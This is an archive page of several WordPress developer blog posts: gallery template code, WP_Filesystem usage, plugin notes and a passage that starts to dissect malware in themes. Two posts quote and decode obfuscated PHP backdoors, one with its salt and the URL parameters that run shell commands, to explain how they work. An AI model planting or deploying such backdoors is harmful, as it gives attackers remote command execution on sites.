Archive for the ‘Code’ Category.

I have seen many questions from people about how to create photo galleries in WordPress. But often I see these questions answered by somebody recommending a plugin or something like that. You don’t really need plugins to create photo galleries. WordPress has a huge amount of gallery functionality built right in. You just need to make your theme smarter in order to take advantage of it.

Note: Matt has one of the neatest photo gallery implementations around, and he often gets questions about it. So I’m going to refer to it from time to time in this post. Maybe you’ll want to head over there and familiarize yourself with some of the look and features of it.

Understanding the Gallery Concept

One of the first things you need to know is how WordPress organizes Galleries. A gallery is really just a post with a bunch of images attached to it.

While editing a post or creating a new one, you have the option to upload images or other files. When you upload a file through the file Uploader, WordPress creates a post just for that file. This post has a post_type of “attachment”. Images in particular get some extra processing, and they show up in multiple sizes, you can insert them into the posts, etc. You probably already knew that. You probably have seen the gallery inserter, which just inserts the “gallery” shortcode into your post.

What you might not have known is that it’s doing more than you think. It’s not just resizing those images you’re uploading, but it’s pulling out metadata and other information about the image too. It’s grabbing alot of the EXIF data from the image and storing it as postmeta items for that attachment post. The post itself, being a post, gets its own URL, which is the post that it is attached to’s URL followed by the attachment posts title. Basically, an attachment post is sorta like a child of the parent post, which contains the gallery. So all a gallery really is is the sum of the attachments posts that are children of the gallery post itself.

Graph of the Gallery concept

Is that clear as mud? Don’t worry, it’s simpler to work with than you think.

Create an Image Template

First thing you need to do is to edit your theme (or create a child theme, if you prefer). What you’re going to do is to make an “image.php” file.

(Side note: If you browse through the source of WordPress, you’ll never find where it loads the “image.php” file, because it isn’t there. What it is actually doing is looking for the mimetype of the attachment as a filename. So since you uploaded, say, a JPG file, then the mimetype is image/jpeg. It splits that and looks for image.php, followed by jpeg.php, followed by image_jpeg.php, and finally just attachment.php as the generic base. It does this for any and all attachments, and any and all mime types. So you can have a video.php for video attachments, audio.php for audio attachments, etc.)

The image.php file is the template that will load for “single images”. A gallery shows thumbnails, but when you click on them, you go to the attachment page for just that image. An easy way to start with your custom image page is to copy your existing single post page to it. Just copy single.php to image.php. If you don’t have a single.php, maybe you should try copying the index.php file instead.

Modify your Image Template

Since this is an image, it’s going to have things in it that normal posts don’t. It’s also going to need special navigational entries that other posts don’t have.

For starters, it has a parent, which is the post containing the gallery. So what if we want to display the gallery post’s name? Easy, we can reference the parent using $post->post_parent. So code like get_the_title($post->post_parent) will get us that title so we can echo it. Similarly, using something like get_permalink($post->post_parent) will get us the link back to the gallery. So this sort of code in our image template will display that link:

echo "<a href='" . get_permalink($post->post_parent). "'>Go back to ". get_the_title($post->post_parent) ."</a>";

For navigation, we have special functions. previous_image_link and next_image_link will let us display links to the previous or next images in the gallery order. Each of these takes two parameters. The first is the size of the previous or next image we want to display (or false to not show a thumbnail at all), the second optional parameter is some text to put in the link. So to show a couple of text navigational links, this code would work:

echo previous_image_link(false,'Previous Photo');
echo next_image_link(false,'Next Photo');

If I wanted to display image links instead, I could change that false to ‘thumbnail’ to display the thumbnail sized images. Or ‘medium’. Or whatever size I preferred.

Next we want to display the image. The wp_get_attachment_image function takes care of that easily:

echo wp_get_attachment_image( $post->ID, 'medium' );

The second parameter there is the size we want to display it at. You could also use ‘large’, ‘full’, ‘thumbnail’, etc. Any of the image sizes. If you want the image to be clickable, you might wrap it in an A tag and link it to the image itself.

But remember that attachment posts are still posts. All those fields you can enter on the image uploader are available to you to use. For example, the “Title” is stored in the normal Post Title field, so calling the_title() will display that. The Description is stored in the Content field and can be displayed with the_content(). The Caption is stored in the Excerpt field and can be displayed with the_excerpt(). You should use these as needed.

EXIF Information

Here’s an example of one of Matt’s single image pages, showing a balloon: http://ma.tt/2011/05/balloon-ride/mcm_9033/.

Nice shot. Scroll down a bit and look on the right hand side of that page, where it says INFO. Lots of nifty information there. But he didn’t put any of that in, WordPress did it all by itself.

To gain access to that information in your image.php file, you use this code:

$imagemeta = wp_get_attachment_metadata();

If you examine this array, you find that it contains widths, heights, filenames of the various sizes of thumbnails generated, etc. But it also contains an array called “image_meta”. This is an array of information that represents everything WordPress was able to glean from the image itself. After you know this, it’s just a matter of displaying it properly.

For example, to display the camera name, he has code similar to this:

if ($imagemeta['image_meta']['camera']) {
	echo "Camera: " . $imagemeta['image_meta']['camera'];
}

There’s other bits in there, like Aperture, Focal Length, ISO settings, and Shutter Speed. Most of these are straightforward, except for shutter speed which is often not in an easy format to display. Usually it’s a fractional value, represented as a decimal. Often we want to convert this to the fractional display. Here’s a bit of code I wrote to do that. It’s not perfect, but what is?

if ($imagemeta['image_meta']['shutter_speed']) {
	echo 'Shutter: ';

	// shutter speed handler
	if ((1 / $imagemeta['image_meta']['shutter_speed']) > 1) {
	echo "1/";
		if (number_format((1 / $imagemeta['image_meta']['shutter_speed']), 1) ==  number_format((1 / $imagemeta['image_meta']['shutter_speed']), 0)) {
			echo number_format((1 / $imagemeta['image_meta']['shutter_speed']), 0, '.', '') . ' sec';
		} else {
			echo number_format((1 / $imagemeta['image_meta']['shutter_speed']), 1, '.', '') . ' sec';
		}
	} else {
		echo $imagemeta['image_meta']['shutter_speed'].' sec';
	}
}

Ugly, I know, but it gets the job done, more or less. Works on most shutter speeds I’ve tested it with.

Gallery Formatting in the Stream

Now, obviously you want your posts to look good in the normal flow of the blog as well. Twenty-Ten and the upcoming Twenty-Eleven themes both show you how to do this rather easily. Twenty-Ten used the “gallery” category for this at one point, before Post Formats came along and made that method obsolete. Now it uses the gallery post format instead.

So first, obviously, your theme will need to support the gallery post format. This is easy, just add this to your theme’s functions.php if it doesn’t have gallery support already (or add “gallery” to it if it does have post format support).

add_theme_support( 'post-formats', array( 'gallery') );

Now that that’s done, you have the option of choosing gallery as a post format. So you need to edit your theme to use that flag as an indicator to display things differently.

There’s plenty of tutorials on post formats out there, so I’ll assume you’re more than capable of figuring out how to use has_post_format(‘gallery’) or the “.home .format-gallery” CSS indicators to style the posts as needed.

What you need to know for specific gallery formatting in the main stream of the blog is how to display a selected representative image from the gallery there instead of the whole thing. There’s two basic steps to this.

First, you have to write your post appropriately to begin with. Take one of Matt’s posts for example: http://ma.tt/2011/05/20/

Here’s how that post actually looks in the editor:

Description text at the top here... Went for balloon ride, etc.
< !--more-- >
[ gallery ]

In other words, he puts the description first, then the more tag, then the gallery after it. This has the effect of giving a natural separation of the description content and the gallery itself. The gallery is not displayed on the front page, because it’s after the more tag. So a call to the_content() on the stream pages will only show the description.

Secondly, you can easily adapt the Featured Image function to let you choose which image to display in the stream. All the user has to do is to upload their gallery then select one and set it to be the featured image. Voila, it’ll be the main representative one used.

if ( has_post_thumbnail() ) {
        // use the thumbnail ("featured image")
        $thumb_id = get_post_thumbnail_id();
	the_post_thumbnail( $size ); // whatever size you want
}

By tossing a div around that, you can then float it left, or right, or whatever you prefer to do. With some extra code and the use of the get_children function, you can make this default to the first image in the gallery if they don’t choose a featured image.

else {
	$attachments = get_children( array(
		'post_parent' => get_the_ID(),
		'post_status' => 'inherit',
		'post_type' => 'attachment',
		'post_mime_type' => 'image',
		'order' => 'ASC',
		'orderby' => 'menu_order ID',
		'numberposts' => 1)
	);
	foreach ( $attachments as $thumb_id => $attachment )
		echo wp_get_attachment_image($thumb_id, $size); // whatever size you want
	}
}

Using tricks like this, you can get the bits of the gallery yourself and display them in different ways.

Make a Gallery Specific Page Template

Matt’s Gallery Page is itself customized. It displays the galleries in an entirely different way. There’s a big copy of the featured image, along with a few thumbnails below the description, and it even has a count of the images in each “album”. This is all done with a pretty straightforward page template.

So to start, make a Page Template:

/*
Template Name: Gallery
*/

Right at the top of the template, we’re going to add a special taxonomy query, which will get all the gallery posts (as well those in the gallery category, since we’re being backward compatible and all). So here’s the code:

$args = wp_parse_args($query_string);

query_posts(array(
         'tax_query' => array(
                'relation' => 'OR',
                array(
                        'taxonomy' => 'post_format',
                        'terms' => array('post-format-gallery'),
                        'field' => 'slug',
                ),
                array(
                        'taxonomy' => 'category',
                        'terms' => array('gallery'),
                        'field' => 'slug',
                ),
        ),
        'paged' => $args['paged'],
) );

First we parse the normal arguments, then we override them with our own query. The only argument we really use from the normal set is the page number, for multiple paging.

Our overriden query uses an advanced taxonomy query. In this case, it selects any posts in the gallery post format, or any post with a category of gallery. By passing this to query_posts, we override our main page query, and thus our main Loop will now display the gallery posts only.

After this, it’s just a matter of displaying what we want to display.

The main Loop itself is pretty straightforward. To display that featured image, we use essentially the same code as we used before, only passing it a bigger size.

To display the description, we just use the_content() as per usual. One thing we have to do though is to set the global $more value to zero, so that it stops at the !–more– tag, preventing it from continuing to display the whole gallery.

Getting the count turns out to kinda suck. There’s no good function in WordPress to do this for you easily. So, reluctantly, I resorted to an SQL query.

echo $wpdb->get_var( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_parent = '$post->ID' AND post_type = 'attachment'" ) .' PHOTOS IN THIS SET';

The four thumbnails you can do using the get_children trick. However, there’s a catch. We don’t want to display the featured image as one of those four thumbnails. So, since we’ve already displayed that image (see the code above), we have the $thumb_id variable still. So we’ll use that to not get that image. Like so:

$attachments = get_children( array(
	'post_parent' => get_the_ID(),
	'post_status' => 'inherit',
	'post_type' => 'attachment',
	'post_mime_type' => 'image',
	'order' => 'ASC',
	'orderby' => 'menu_order ID',
	'numberposts' => 4,
	'exclude' => $thumb_id )
);
foreach ( $attachments as $img => $attachment ) {
	echo '<a href="'.get_permalink($img).'">'.wp_get_attachment_image( $img, $size ).'</a>';
}

By using the exclude parameter, we can get the first four images in the gallery without getting that featured image again, if it’s in those first four images.

Update

Andrew Nacin pointed out that I can combine the act of getting those four children and getting the attachment count into a single new WP_Query, like so:

$images = new WP_Query( array(
    'post_parent' => get_the_ID(),
    'post_status' => 'inherit',
    'post_type' => 'attachment',
    'post_mime_type' => 'image',
    'order' => 'ASC',
    'orderby' => 'menu_order ID',
    'posts_per_page' => 4,
    'post__not_in' => array($thumb_id),
    'update_post_term_cache' => false,
) );

This creates a new secondary query that I can loop through like so, to show the children:

foreach ($images->posts as $image) {
	echo '<a href="'.get_permalink($image->ID).'">'.wp_get_attachment_image( $image->ID, $size ).'</a>';
}

It also has the side benefit of doing the primary counting of the images for me, via the SQL_CALC_FOUND_ROWS that WordPress uses in full-blown queries. However, the count will be off by 1, since we’re excluding the featured thumbnail. Therefore, I just have to add one to it:

echo ($images->found_posts+1) . ' PHOTOS IN THIS SET';

That combines both of those elements into one query instead of two, and eliminates the need for the direct SQL query.

(Side note: I also set ‘update_post_term_cache’ to false to prevent it from doing an extra query to get the terms for these posts into the internal memory cache. This saves us a bunch of unnecessary queries, since I’m not using the terms here anyway. Using full WP_Query objects instead of the simpler ones like get_children can take a little bit more thought and effort, but can save you time in the long run, if used wisely.)

Sizes

Throughout this post I’ve used $size as a generic indicator of where to put the size parameter. WordPress creates sized images by default, as we all know. These are thumbnail, medium, large, and full which is just the full sized uploaded image, unmodified.

But WordPress can create other sizes too, if you like. At different points throughout Matt’s gallery pages, you’ll see images displayed in all sizes. These sizes are custom, and they’re added in the functions.php file.

add_image_size( 'nav-thumbnail', 100, 100, true );
add_image_size( 'random-thumbnail', 200, 150, true );
add_image_size( 'gallery-thumbnail', 250, 200, false );
add_image_size( 'gallery-large', 660, 500, false );
add_image_size( 'gallery-pagethumb', 70, 70, true );

The add_image_size function takes a width, a height, and a flag to cause it to crop or not. So those tiny thumbnails on the gallery are “gallery-pagethumb” sized, and are 70×70, cropped. Anywhere I need one of those sizes, I can just pass that parameter instead of $size and voila.

Obviously though, adding too many sizes is undesirable, because it takes time to create those sizes (they’re created on upload of the images), and it takes storage space to store them. Hopefully a future version of WordPress can work around this issue.

Conclusion

These are the basics of making cool galleries, without plugins, without special uploaders, and while being able to style it to match your theme. Play with it. Experiment. There’s a ton of functions in WordPress specifically for dealing with these. Take a look through wp-includes/media.php and look at some of the function names. You might be surprised.

Shortlink:

I was alerted to this tweet by @andrea_r this morning:

Here’s the code in question:

<?php
@$str1 = "0cmVhbT1AJF9HRVRbJz" . $HTTPS_ACCEPT_URLENCODING['KOI8-R'];
@$str2 = "B4RkYnXTtAc3lzdGVtK" . $HTTPS_ACCEPT_URLENCODING['WIN-1251'];
@$str3 = "CRuZXdzdHJlYW0pOw==" . $HTTP_ACCEPT_URLENCODING['UTF-8'];
@eval(base 64_decode($_GET['salt'] . $str1 . $str2 . $str3));
?>

Decoding this is a rather simple matter. First, we remove the eval line and do a var_dump on the variables. We get this:

>php test.php
string(19) "0cmVhbT1AJF9HRVRbJz"
string(19) "B4RkYnXTtAc3lzdGVtK"
string(19) "CRuZXdzdHJlYW0pOw=="

Notice that the HTTP_ACCEPT_URLENCODING mess is a red herring. It’s there to make it look more legit, sort of thing.

So now we have this string: “0cmVhbT1AJF9HRVRbJzB4RkYnXTtAc3lzdGVtKCRuZXdzdHJlYW0pOw==”. Unfortunately, it is incomplete. Note the “salt” parameter being used in the eval(base 64_decode()) line.

Well, a bit of searching turned up the fact that the salt is supposed to be “JG5ld3N”. So somebody can send a ?salt=JG5ld3N parameter in an HTTP request and get the following string to decode: “JG5ld3N0cmVhbT1AJF9HRVRbJzB4RkYnXTtAc3lzdGVtKCRuZXdzdHJlYW0pOw==”.

So we run that through a base64 decoder and get this:

$newstream=@$_GET['0xFF'];@system($newstream);

So it’s just performing a system call on whatever comes in via the 0xFF parameter. Ah ha! It’s a shell backdoor. I can make a hit to example.com?salt=JG5ld3N&0xFF=**any-command-I-want** and have it execute it in the shell.

Fortunately, this is not a particularly well hidden example. The use of “eval” and “base 64_decode” is a dead giveaway, as is the use of unchecked $GET parameters.

Most likely, Scott got hacked through either bad permissions on a shared server or somebody got ahold of his FTP credentials somehow. It’s hard to say without seeing his server logs, but checking through all files on the system is probably a good idea.

As always, the Codex has some good suggestions.

Shortlink:

Note: An actual working implementation of the WP_Filesystem can be found in my Pluginception plugin.

Lot of talk amongst theme authors recently about writing local files. Writing files from code, whether it be from a theme or from a plugin, is generally bad mojo. However understanding why you shouldn’t is confusing to many, and then understanding why you shouldn’t do-it-yourself and should use the WP_Filesystem is even more confusing. To further muddy up the waters, many theme authors have expressed confusion at how to use WP_Filesystem in the first place.

So, let’s run the gamut in this tutorial. Note that I wrote it quickly, so it may be uneven in parts. 😉

Why Not To Do It

The most common reasons I see theme authors wanting to write local files falls into three categories:

  1. Dynamic CSS
  2. Configuration Saving
  3. Export/Import

Take the Dynamic CSS case to start with, since it’s the most common one by far. Some theme authors say “I’m making a framework/system/construction-kit where the user can define their own theme/layout/color-schemes and thus produce a bunch of CSS. I want to save this CSS in the theme/uploads directory, and then put a link to it from their page, so that the browser downloads it from there.

Why they shouldn’t do that: There’s half a dozen reasons here, but the big two are a) put just the dynamic parts of CSS inline into the page instead, because it’s faster, simpler, and avoids an extra HTTP roundtrip for the user’s browser to get this CSS file and b) writing a CSS file locally is insecure as hell if you do it in the “natural” way.

Security is going to be a big issue for the next two items, so I’ll cover it right now.

Modern UNIX-like systems have the concept of “users”. When I SSH or FTP into my hosting account, then I’m logged in as me and my user account. However, my webserver doesn’t run as my user account. It runs under some different user account, usually “nobody” or “apache” or “web” or something similar to that.

So when I create files, they’re owned by me. When my webserver creates files, then they’re owned by the webserver’s user, whatever it is. Normally, this isn’t a big deal. The webserver can read and serve files either way, so who cares, right? Well, when you’re creating files that are owned by the webserver, then the webserver has permission to write to those files. It’s the owner of them, after all. What’s important here is that I’m not the only person on this webserver.

Shared hosting systems have many users files all served by the same webserver. So if I allow that “nobody” user to own files that are part of my webpage, then anybody else can use their account on the same webserver to modify those files, and thus modify my webpage. For the case of CSS files, this poses a cross-site-scripting risk. Somebody else on my shared webserver could insert code into my CSS files and change them so as to steal my account information. Bad mojo.

The other two, where theme authors are saving configuration or exporting and importing things have the same basic problems, although the risks might be even higher. In one case, I found a theme saving its configuration settings by creating a PHP file in the uploads directory and then using var_export to export the configuration variable to it. Then it proceeded to include this file when the theme loaded, to load its configuration back in. Talk about insecure, anybody running this theme is basically handing over the entire control of their website to anybody on the same web server.

How To Do It Anyway

“But Otto”, I hear you shouting from halfway around the world, “WordPress itself writes files all the time! It can even upgrade itself. How is this safe?” Well, Mr. Incredbly Loud Person, WordPress uses a system called WP_Filesystem to make this safe.

The WP_Filesystem basically support five different ways of writing files to the system and they all ensure that ownership of those files remains firmly in the hands of the same person that owns the WordPress files. In other words, it writes files using your user account and not as the webserver user.

I’m sure many people have seen this before:

This is the basic connection information screen that appears when you try to upgrade a plugin or themes or even the core code, on certain hosts. Some people may be running on hosts that don’t pop up this screen, but the basic process behind it still exists.

Essentially, what is going on here is that WordPress does some tests to detect how it can write files to the server and keep the same owner for those files. If it can’t do it directly, then it does it indirectly via FTP. It needs your login credentials at this point in order to log in as you and thus write files as you instead of as the webserver user that it’s running under.

How to Implement the WP_Filesystem code

Implementing the WP_Filesystem is easy, really. But to do it from a form or options type of system, then you need to have a form or options type of system already. So let’s start out with an extremely basic form, such as one a theme might implement.

// add the admin options page
add_action('admin_menu', 'otto_admin_add_page');

function otto_admin_add_page() {
	add_theme_page('Otto Test Page', 'Otto Test Options', 'edit_theme_options', 'otto', 'otto_options_page');
}

Okay, now we have a new options menu. Let’s make a form to put on that menu:

function otto_options_page() {
	if ( otto_check_buttons() ) return;
?>
<div>
<h2>My custom options page</h2>
<form action="" method="post">
<?php wp_nonce_field('otto-theme-options'); ?>
<input name="save" type="submit" value="Save a file" />
</form></div>
<?php
}

Simple, no-nonsense form. It calls a function to check the incoming button press first (see more below), then it displays a form. It outputs a nonce, makes a button called “Save a file” since that’s what we’re going to do, then stops. Easy.

Note that the otto_check_buttons() function returns true or false, and this then returns when it is true, thus not displaying the form. This is simply to allow us to display the normal form or not, depending on what we need to do later.

So, when you submit the form, then that otto_check_buttons() function is going to come into effect. Let’s look at the beginning of that function:

function otto_check_buttons() {
	if (empty($_POST)) return false;

	check_admin_referer('otto-theme-options');

The beginning of it is simple. If the user hasn’t submitted the form yet, then it just returns false to make the previous function display the form. Next it checks the referer nonce, to make sure the nonce is correct for the page we’re on. Let’s continue:

$form_fields = array ('save'); // this is a list of the form field contents I want passed along between page views
$method = 'ftp'; // Normally you leave this an empty string and it figures it out by itself, but you can override the filesystem method here

// check to see if we are trying to save a file
if (isset($_POST['save'])) {

Here, I’m defining two variables that I’m going to use later. The form_fields is an array of the names of the fields in the form that I want to pass along through that connection information screen. In this case, I defined my “save” input field before, and it’s something I’ll be checking later, so it has to pass through that form. What happens is that the connection information form generates an extra hidden input with the contents from my first form.

The method variable is not strictly necessary. I’m forcing it to use the “ftp” method for this demonstration code. Normally, you leave this blank and the system figures it out for itself. Changing ‘ftp’ to just ” here works fine.

Finally, you can see where I’m checking to make sure the save button was clicked. Moving on:

// okay, let's see about getting credentials
$url = wp_nonce_url('themes.php?page=otto','otto-theme-options');
if (false === ($creds = request_filesystem_credentials($url, $method, false, false, $form_fields) ) ) {
	// if we get here, then we don't have credentials yet,
	// but have just produced a form for the user to fill in,
	// so stop processing for now
	return true; // stop the normal page form from displaying
}

Now is the part where I get the credentials from the user. The request_filesystem_credentials() does several things.

  • It checks to see what kind of credentials it needs (we’re forcing it to FTP in this case)
  • It checks to see if they’re pre-DEFINEd in the wp-config file
  • It checks the POST input to see if it has just received them and returns them if it has
  • It checks the database to see if it remembers the hostname/username from before
  • It produces the necessary form to display if it doesn’t have them

The bottom line being that if it has the necessary credentials, it will return them. Else, it will output the form to be displayed to get the credentials, and then return false. So when it returns false, we know the form has been displayed, so we just exit and wait for the user to give us the necessary credentials.

When we get those credentials, we have to check to make sure they work. Here’s how we do that:

// now we have some credentials, try to get the wp_filesystem running
if ( ! WP_Filesystem($creds) ) {
	// our credentials were no good, ask the user for them again
	request_filesystem_credentials($url, $method, true, false, $form_fields);
	return true;
}

Simple, really. We call the WP_Filesystem and see if the credentials work. If not, we call request_filesystem_credentials a second time, but this time with the $error flag set. This produces the error message and form to the user so he can correct the information.

Finally, we should have working credentials from the user and all the information we need, so we use the $wp_filesystem global to write out a file.

// get the upload directory and make a test.txt file
$upload_dir = wp_upload_dir();
$filename = trailingslashit($upload_dir['path']).'test.txt';

// by this point, the $wp_filesystem global should be working, so let's use it to create a file
global $wp_filesystem;
if ( ! $wp_filesystem->put_contents( $filename, 'Test file contents', FS_CHMOD_FILE) ) {
	echo 'error saving file!';
}

That’s really all there is to it. I made a file in the upload directory called “test.txt” and wrote “Test file contents” to it. The global $wp_filesystem variable is what our call to WP_Filesystem($creds) created. This $wp_filesystem supports various different file functions, but the put_contents() function is the easiest one to understand. I gave it the filename, some contents, and the correct permissions for a file on the system. Simple and easy.

Reasons to use WP_Filesystem

Two big ones:

  • Compatibility
  • Security

Because of the various permissions systems in use, the WP_Filesystem supports many different ways of writing files to the system, but all abstracted out into simpler functions like put_contents() and get_contents() and such.

The only downside to it is that sometimes you need to ask the user for their account information in order to be able to get the access you need. But this is necessary in order to be secure, since you don’t want everybody else on the same server to be able to write to your files. And while you may have a server all to yourself, most of your users won’t. The most common setup for WP is on shared hosting, and if you’re creating a theme or a plugin, you should design for those users as well.

A copy of all the code above made into a demo plugin can be found here: wpfilesystem-demo.phps.

Shortlink:

In the WordPress world, security is always a prime concern, and for obvious reasons. It’s a major target for spammers, what with 30 million sites and what have you. So there’s a lot of security plugins to do scanning on your files, there’s file monitor plugins which work by simply noticing changes to the files of any sort, we do scans in the theme check process, etc.

I’ve gotten a few responses back to some of my malware related posts asking why WordPress doesn’t check for this sort of thing in the core code. Why can’t WordPress check for the existence of “eval” and such in a plugin before it runs it? Well, I’ll show you.

Securi covered the “Pharma” attack several months ago, but nobody seemed to notice the important bit of code that shows why WordPress can’t do scanning in core. Fact of the matter is that the hacks have already gone well beyond scanning for strings and such.

Take this code for example:

<?php $XZKsyG='as';$RqoaUO='e';$ygDOEJ=$XZKsyG.'s'.$RqoaUO.'r'.'t';$joEDdb='b'.$XZKsyG.$RqoaUO.(64).'_'.'d'.$RqoaUO.'c'.'o'.'d'.$RqoaUO;@$ygDOEJ(@$joEDdb(long long string here)..

What does that do? Well, in short, that’s an eval(base64_decode()); Here it is again, broken down with newlines and such:

$XZKsyG='as';
$RqoaUO='e';
$ygDOEJ=$XZKsyG.'s'.$RqoaUO.'r'.'t';
$joEDdb='b'.$XZKsyG.$RqoaUO.(64).'_'.'d'.$RqoaUO.'c'.'o'.'d'.$RqoaUO;
@$ygDOEJ(@$joEDdb(long long string here)..

Those third and fourth lines are important, so lets fill in the two variables there with the ‘as’ and ‘e’ from above it:

$ygDOEJ='as'.'s'.'e'.'r'.'t';
$joEDdb='b'.'as'.'e'.(64).'_'.'d'.'e'.'c'.'o'.'d'.'e';

And we have “assert” and “base64_decode” once again. The assert function will also evaluate strings as PHP code, BTW. It’s really just an eval in another form.

The final line uses something about PHP that some people may not know. If I have a variable with a string in it, then I can call a function with that strings name by using the variable instead of the function name. In other words, this works:

function do_something() { }
$var = 'do_something';
$var();

Now tell me, how you gonna scan for something like that?

Determining whether a piece of code is malicious or not is basically equivalent to the halting problem. You can’t do it programmatically. Not really. If WP added code to the core to try to detect and stop this sort of thing, the spammers would simply modify their code so that the core couldn’t detect it anymore.

Why get into an arms race? It’s better to concentrate on making WordPress itself secure and to try to educate both users and hosts about good security practices. Most hacked sites get hacked via insecure server configurations, not through WordPress itself.

So scanning is pointless. So why do we still do it for theme check and such? Because not all malicious code is as cleverly written, and so some basic scanning is indeed somewhat effective. And the goal there is simply to weed out the problems. All of the WordPress.org theme checking is done by human eyeballs, the scanning tools just ensure a minimal level of theme capabilities and make pruning that much quicker.

Shortlink:

I got tired of waiting for a “proper” YOURLS WordPress plugin to come out, so I did it myself. Hey, I’ve got other stuff to do, and I needed a working shortlink solution.

Basically, this is the “YOURLS: WordPress to Twitter” plugin, with all the Twitter bits removed.

While I was in there, I also fixed the password saving bug that I kept having in Chrome (just cut out the submit button JS), switched it to eliminate the Pear_JSON package entirely (WordPress has JSON support built in already), and did some other minor things. I’m sure I missed some bits, but for the most part it was really just a hack and slash job. Eliminated about 30% of the plugin’s main code and all the ancillary Twitter libraries.

On a side note, this sort of thing only reinforces something I’ve said before: Plugins should only try to do one thing, and to do it well. Trying to have a twitter solution in this plugin when I didn’t want to use that bit at all basically just made it stop doing the shortlinks correctly. That’s a real problem when it’s really a shortlink plugin to begin with. I already had a really good twitter solution, trying to have all this extra crap in there just made it not work properly.

If I had more time, I’d also remove all the JS stuff on the settings page too. That’s not really necessary when you only have a few fields to enter. But I guess it works, sort of. Whatever. Not important.

Anyway, here you go. I won’t be putting this in the plugins repository, since it’s not really my code. But I am posting it here in case it helps anybody. And if Ozh changes his plugin to eliminate the Twitter stuff (or to at least make it optional without impacting functionality), then it would be worth switching to that in the future. I won’t be supporting this plugin anytime soon.

YOURLS – WordPress (no Twitter)

Edit: Note that I did this mainly because I wanted to use my own Simple Twitter Connect instead for posting items to Twitter. That works fine and uses the shortlink from this plugin fine. But the extra Twitter stuff in the original plugin interfered with it, and there was no good way to disable that stuff short of editing the plugin. I’m a fan of not editing other people’s plugins, but in this case there really wasn’t a lot of choice. YOURLS is a good system and I like using it, I just wish the WP plugin for it wasn’t trying to do so much. Just so you know. 🙂

Shortlink:

Saw this post about Chrome voice searching in HTML forms on Google’s blog today. Very cool, so I had to give it a try. If you check the “Search” box in the upper right corner of the page, you’ll see a little icon (if you’re using a dev version of Chrome). Click it to do a search-by-voice.

What I didn’t expect was how totally easy it is to implement. Seriously, it’s less than a line of code.

Example. Say your search box (possibly in your theme’s searchform.php file) looks like this:

<form id="searchform" action="<?php bloginfo('home'); ?>/" method="get">
<input id="s" name="s" size="20" type="text" value="<?php _e('Search') ?>..." />
</form>

All you have to do is to add some bits to the input element box. Specifically, you add x-webkit-speech speech onwebkitspeechchange=”this.form.submit();”. That’s it. Seriously:

<form id="searchform" action="<?php bloginfo('home'); ?>/" method="get">
<input id="s" name="s" size="20" type="text" value="<?php _e('Search') ?>..." x-webkit-speech speech onwebkitspeechchange="this.form.submit();" />
</form>

Note that this won’t validate, if you care about that sort of thing. Works fine though.

You can do a whole lot more with Javascript and events and translations and multiple choices and such, if you’re thinking of developing something cool with it. I’m just shocked and amazed that this is already in my browser and I had no idea it was there. Very cool.

Shortlink:

Sorry for the several updates over the last day. Somebody pointed out that I hadn’t pushed a new version of SFC in several months, and that the fixes in trunk had gotten a ways ahead of those in the released version. Unfortunately, I didn’t actually go and test properly, so versions 0.22 and 0.23 had minor but critical bugs in them. Version 0.24 should push shortly with the fixes for those bugs as well as the enhancements over the last several months.

A short list of the changes/fixes:

  • Thanks to Burak Tuyan, the whole plugin is now more i18n capable, for people who want to translate it.
  • Added an sfc_img_exclude filter, to let others add their own image classes to exclude from the automatic image finder for share and publish and such.
  • The sfc_like_button() functions now supports a url parameter to add a like button to a specific URL.
  • A couple of patches by Jamie Zawinski: Publish now sends up to 1000 chars from the post to Facebook.
  • Also thanks to jwz, publish now gets images correctly in more cases.
  • If you enable login avatars (by uncommenting that code), it will show them for comments now too.
  • Eliminated deprecated calls to Facebook functions (xid and register users calls)
  • Custom Post Type support for automatic publishing (any CPT with public=>true will get auto-published).
  • Custom Post Type support for manual publishing (any CPT with public=>true will show the meta box in its edit screen).
  • Contextual help added to SFC Settings page.
  • Improved error messages
  • Numerous other minor optimizations and bugfixes

Version 1.0, which will ditch the old Connect code entirely, isn’t quite ready yet. The new registration stuff will be in there though, eventually. It will probably be after I get back from the core developers meeting though. Sorry for the excessive delay on that. I know lots of people want it, I never seem to have the time. I’ll try to find the time and finish it up soon. Really.

Note to users: If you got the “Breaking change: API deprecations” email from Facebook today, then you are probably using the SFC-Login plugin, or have at some point. Version 0.24 removes the code they are deprecating from the SFC-Login plugin. So upgrade and you’ll be fine. However, note that SFC is no longer compatible with WordPress versions prior to 3.0. Upgrade WordPress to 3.0 or later before upgrading SFC.

Note to international users: And with all that, there’s still a bug. If you’re seeing weird characters in your FB Published posts, edit the sfc-publish.php file. On line 179 you’ll find return utf8_encode($text);. Change it to return $text; to fix the problem with the double encoded characters. The next version will have this fix as well, but I didn’t think it was major enough to push a whole new version right away.

Shortlink:


Every time I look through the beta of WordPress 3.1, I find something new. Today I found the WP_HTTP_IXR_Client. The IXR_Client was there in previous versions, but it didn’t use the WordPress HTTP API, and so it rarely worked for me. This wrapper/rework of it works like a charm. Some quick examples:

Testing the client to see if it can talk to another blog:

$client = new WP_HTTP_IXR_Client('http://example.com/xmlrpc.php');
$client->query('demo.sayHello');
echo $client->getResponse();

That will print “Hello!” if it succeeded.

Testing something with parameters, like adding two numbers:

$client = new WP_HTTP_IXR_Client('http://example.com/xmlrpc.php');
$client->query('demo.addTwoNumbers', 4, 5);
echo $client->getResponse();

That will produce an output of 9… Okay, let’s do something meaningful.

$client = new WP_HTTP_IXR_Client('http://example.com/xmlrpc.php');
$client->query('wp.getOptions', 0, 'username', 'password', 'software_version');
$response = $client->getResponse();
echo $response['software_version']['value'];

It returns what version of WordPress I’m running on that test site. In this case, that would be 3.1-beta2-17056.

Take a look through the class-wp-xmlrpc-server.php file for the various things you can do. Maybe you can think of some handy ways to make your blogs talk to each other. 🙂

Shortlink:

As I’ve gotten involved with helping the WordPress.org theme review team, I’ve seen some strange things. One of the stranger ones was a theme virus that actually propagated from one theme to all others in a WordPress installation. That one was awfully clever, but it ultimately didn’t really do anything but propagate and generally be a pain in the ass.

However, today, @chip_bennett discovered that one of his themes had been copied and was being redistributed by a site called top-themes.com.

It had malware inserted into it that is of a much more malicious and spammy nature. Further investigation reveals that ALL of the themes on that site contain basically the same code. This code is not actually “viral”, but it’s definitely malware and it’s worth investigating to see some of the ways people try to hide their spam.

So today, I’m going to dissect it and serve it up on a platter for everybody to see.

Infection Point

We’ll start with the most obvious starting point, and that is in the functions.php file. At the very end of the functions.php file, we find a call to “get_custom_headers();”. An innocuous enough sounding name, so we go find that function. Here’s the first part of the function:

function get_custom_headers() {
    $_SESSION['authenticated'] = false;
